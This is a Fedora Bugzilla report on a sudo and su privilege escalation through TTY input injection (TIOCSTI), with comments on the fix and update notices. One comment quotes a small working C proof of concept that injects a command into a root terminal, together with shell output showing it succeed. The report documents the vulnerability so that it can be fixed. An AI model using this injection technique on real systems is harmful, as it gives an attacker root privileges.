Bug 479145 - (sudo -u less_privileged_user command) privilege escalation
(sudo -u less_privileged_user command) privilege escalation
Product: Fedora
Classification: Fedora
Component: sudo (Show other bugs)
All Linux
medium Severity high
: ---
: ---
Assigned To: Daniel Kopeček
Fedora Extras Quality Assurance
: Security
Depends On:
  Show dependency treegraph
Reported: 2009-01-07 10:40 EST by Miloslav Trmač
Modified: 2010-09-29 03:11 EDT (History)
4 users (show)

See Also:
Fixed In Version: sudo-1.7.4p4-2.fc12
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Last Closed: 2010-09-28 01:28:24 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---

Attachments (Terms of Use)

  None (edit)
Comment 7 Tomas Hoger 2009-01-23 09:00:37 EST
Summary of the public information:

Francesco Ongaro presented on CCC Congress 2008 a way to inject commands to TTY buffer, that may lead to privilege escalation when higher privileged user runs untrusted command controlled by a lower privileged user via sudo:

The issue was previously described by Russell Coker in 2004:

and similar problem was fixed in coreutils' su command (fix included in RHEL5 and later):

Upstream sudo bug report:
Comment 8 Bug Zapper 2009-11-18 03:01:35 EST
This message is a reminder that Fedora 10 is nearing its end of life.
Approximately 30 (thirty) days from now Fedora will stop maintaining
and issuing updates for Fedora 10.  It is Fedora's policy to close all
bug reports from releases that are no longer maintained.  At that time
this bug will be closed as WONTFIX if it remains open with a Fedora 
'version' of '10'.

Package Maintainer: If you wish for this bug to remain open because you
plan to fix it in a currently maintained version, simply change the 'version' 
to a later Fedora version prior to Fedora 10's end of life.

Bug Reporter: Thank you for reporting this issue and we are sorry that 
we may not be able to fix it before Fedora 10 is end of life.  If you 
would still like to see this bug fixed and are able to reproduce it 
against a later version of Fedora please change the 'version' of this 
bug to the applicable version.  If you are unable to change the version, 
please add a comment here and someone will do it for you.

Although we aim to fix as many bugs as possible during every release's 
lifetime, sometimes those efforts are overtaken by events.  Often a 
more recent Fedora release includes newer upstream software that fixes 
bugs or makes them obsolete.

The process we are following is described here: 
Comment 9 Josh Bressers 2010-05-11 12:13:30 EDT
I'm going to open this bug, as it's doing us any good closed up.

This issue has been pointed out again (this time in su) here:


root@quadstation # cat /root/cnuprivesc.c
#include <unistd.h>
#include <stdio.h>
#include <termios.h>
#include <sys/ioctl.h>

static void
fake_input(int fd, const char *msg)
        for (; *msg; ++msg)
                if (ioctl(fd, TIOCSTI, msg) != 0)

int main(int argc, char **argv)
        fake_input(0, "echo $UID\n");
        return 0;
root@quadstation # su - redeeman

 * keychain 2.7.0 ~ http://www.funtoo.org
 * Found existing ssh-agent: 9642
 * Found existing gpg-agent: 9667
 * Known ssh key: /home/redeeman/.ssh/id_dsa

redeeman@quadstation # exec /cnuprivesc <-- this is the last thing i manually do
echo $UID
root@quadstation # echo $UID
root@quadstation #
Comment 10 Fedora Update System 2010-09-15 08:25:13 EDT
sudo-1.7.4p4-1.fc12 has been submitted as an update for Fedora 12.
Comment 11 Fedora Update System 2010-09-15 18:27:30 EDT
sudo-1.7.4p4-1.fc12 has been pushed to the Fedora 12 testing repository.  If problems still persist, please make note of it in this bug report.
 If you want to test the update, you can install it with 
 su -c 'yum --enablerepo=updates-testing update sudo'.  You can provide feedback for this update here: https://admin.fedoraproject.org/updates/sudo-1.7.4p4-1.fc12
Comment 12 Fedora Update System 2010-09-20 02:56:24 EDT
sudo-1.7.4p4-2.fc12 has been submitted as an update for Fedora 12.
Comment 13 Fedora Update System 2010-09-28 01:28:14 EDT
sudo-1.7.4p4-2.fc12 has been pushed to the Fedora 12 stable repository.  If problems still persist, please make note of it in this bug report.
Comment 14 Tomas Hoger 2010-09-29 03:11:50 EDT
Just for future reference...

sudo was extended to allow allocation of new pty for commands run with target user privileges.  Use of additional pty is controlled by use_pty option, which is currently not enabled by default.

Note You need to log in before you can comment on or make changes to this bug.